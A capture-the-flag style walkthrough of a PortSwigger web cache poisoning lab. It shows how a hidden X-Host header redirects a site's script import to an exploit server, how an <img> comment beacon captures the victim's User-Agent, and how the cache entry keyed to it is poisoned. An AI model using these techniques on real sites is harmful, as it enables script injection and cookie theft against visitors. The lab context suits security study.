The lab
here is how portswigger describes it
This lab is vulnerable to web cache poisoning. A victim user will view any comments that you post. To solve this lab, you need to poison the cache with a response that executes
alert(document.cookie)in the visitor's browser. However, you also need to make sure that the response is served to the specific subset of users to which the intended victim belongs.
two problems stacked on top of each other. first there is an unsafe input, but it is a non-standard header the app never documents, so we have to discover it before we can abuse it. second the cache keys on User-Agent through a Vary header, which means our poisoned copy is only served to requests with the exact same user-agent as ours, so to actually hit the victim we have to learn their user-agent and poison the entry that belongs to it. the comment feature is the bridge, it lets us pull the victim's user-agent out of them.
why this one is targeted#
normally a poisoned home page is served to everybody, but here the cache key includes User-Agent because the response carries Vary: User-Agent. the cache therefore keeps a separate entry per user-agent string, so poisoning the entry for our own browser never reaches the victim, they are a different key. to land the attack we need their user-agent and must poison the entry filed under it. so the job splits in three, find the hidden header that controls the script import, discover the victim's user-agent, then poison the cache under that exact key.
Step 1 - discover the hidden header with Param Miner#
with Burp running we load the home page, then in Proxy > HTTP history we find the GET request for the home page.
the unsafe input here is a header the app never advertises, so we brute force header names with the Param Miner extension. we install it, right-click the request and choose Guess headers. after a while Param Miner reports a secret input, the X-Host header.

Step 2 - confirm X-Host drives the script import#
we send the GET request to Repeater and add a cache-buster query parameter so our probing gets its own key. we add the X-Host header with an arbitrary hostname like logicbreaker.sh and send it.
the value of X-Host is used to dynamically build an absolute url for importing the javascript file at /resources/js/tracking.js. so this hidden header decides where the page loads its script from, exactly the lever we need.

Step 3 - Host the malicious script#
we go to the exploit server and set the file path to match the one the page imports:
/resources/js/tracking.js
in the body we enter the payload and store it:
alert(document.cookie)

Step 4 - Prove the poisoning works for our own user-agent#
back in Repeater we point X-Host at our exploit server:
X-Host: YOUR-EXPLOIT-SERVER-ID.exploit-server.net
we send the request until the response reflects our exploit server url and shows X-Cache: hit, then load the url in the browser and watch alert() fire. this confirms the attack mechanism, but only for our own user-agent so far.

Step 5 - Learn the victim's user-agent via a comment#
we notice the response carries Vary: User-Agent, so User-Agent is part of the cache key and we must target the victim's exact value. the comment feature allows some html tags, so we post a comment that makes the victim's browser call out to our exploit server:
<img src="https://YOUR-EXPLOIT-SERVER-ID.exploit-server.net/foo" />
we go to the blog page and double-check the comment posted.

then on the exploit server we open the Access log and refresh every few seconds until we see requests from a different user, the victim, and copy their User-Agent:
User-Agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/154.0.0.0 Safari/537.36

Step 6 - poison the victim's cache entry#
back in our malicious request in Repeater we paste the victim's User-Agent into that header and remove the cache buster so we hit the real home page key, now specifically the entry that varies to the victim's user-agent.
we keep sending until the response reflects our exploit server url and shows X-Cache: hit, meaning the entry keyed to the victim's user-agent is poisoned. we keep replaying to hold it poisoned until the victim visits and runs alert(document.cookie).

with this, the lab is solved!
